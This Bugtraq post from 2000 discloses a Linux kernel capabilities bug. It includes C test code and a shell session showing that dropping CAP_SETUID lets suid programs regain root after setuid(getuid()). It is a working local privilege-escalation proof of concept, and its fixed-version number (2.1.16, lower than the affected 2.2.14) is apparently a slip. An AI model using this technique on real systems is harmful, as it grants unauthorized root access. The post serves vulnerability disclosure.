Bugtraq mailing list archives
the Linux Capabilities bug
From: espel () IAGORA NET (Roger Espel Llima)
Date: Thu, 8 Jun 2000 16:56:24 +0200
I did some testing about this Linux Capabilities bug; the problem is as described: random user can take out the capability CAP_SETUID from its inheritable set, and then execute a suid program. The suid program runs with full root privileges, *except* that when it does a setuid(getuid()); (as many suid programs do to give up privileges), it doesn't reset the saved uid. So the program can later do a setuid(0);, and get root privs again. Here's some code to test whether giving up root works: ------- blep.c #include <stdio.h> #include <unistd.h> int main(void) { if (geteuid()) { printf("Run me as root please\n"); exit(1); } printf("BEFORE: %d %d\n", getuid(), geteuid()); setuid(getuid()); printf("GAVE UP: %d %d\n", getuid(), geteuid()); setuid(0); printf("GOT BACK: %d %d\n", getuid(), geteuid()); if (!geteuid() || !getuid()) printf("PROBLEM!!\n"); return 0; } And here's code to disable the CAP_SETUID capability: ------- suidcap.c #include <stdio.h> #include <sys/types.h> #include <unistd.h> #include <linux/unistd.h> #include <linux/capability.h> _syscall2(int, capget, cap_user_header_t, header, cap_user_data_t, dataptr); _syscall2(int, capset, cap_user_header_t, header, cap_user_data_t, dataptr); typedef struct __user_cap_header_struct capheader_t; typedef struct __user_cap_data_struct capdata_t; void remove_cap(capdata_t *data, int cap) { data->effective &= ~(1 << cap); data->permitted &= ~(1 << cap); data->inheritable &= ~(1 << cap); } void cap_get(capheader_t *header, capdata_t *data) { if (capget(header, data) == 0) return; perror("capget"); exit(-1); } void cap_set(capheader_t *header, capdata_t *data) { if (capset(header, data) == 0) return; perror("capset"); exit(-1); } main() { capheader_t header; capdata_t data; header.version = _LINUX_CAPABILITY_VERSION; header.pid = 0; data.effective = data.permitted = data.inheritable = 0; cap_get(&header, &data); remove_cap(&data, CAP_SETUID); cap_set(&header, &data); printf("launching shell...\n"); execl("/bin/sh", "/bin/sh", NULL); perror("execl"); } And finally here's a demonstration of the problem: $ uname -s -r Linux 2.2.14-15mdk $ gcc blep.c -o blep $ gcc suidcap.c -o suidcap $ su Password: # chown root.root blep # chmod 4755 blep # exit $ ./blep BEFORE: 502 0 GAVE UP: 502 502 GOT BACK: 502 502 $ ./suidcap launching shell... sh-2.03$ ./blep BEFORE: 502 0 GAVE UP: 502 502 GOT BACK: 502 0 PROBLEM!! sh-2.03$ exit Finally, I can confirm that Linux 2.1.16 fixes the problem: $ ./blep BEFORE: 502 0 GAVE UP: 502 502 GOT BACK: 502 502 $ ./suidcap launching shell... sh-2.03$ ./blep BEFORE: 502 0 GAVE UP: 502 502 GOT BACK: 502 502 sh-2.03$ exit -- Roger Espel Llima, espel () iagora net http://www.iagora.com/~espel/index.html
Current thread:
- the Linux Capabilities bug Roger Espel Llima (Jun 08)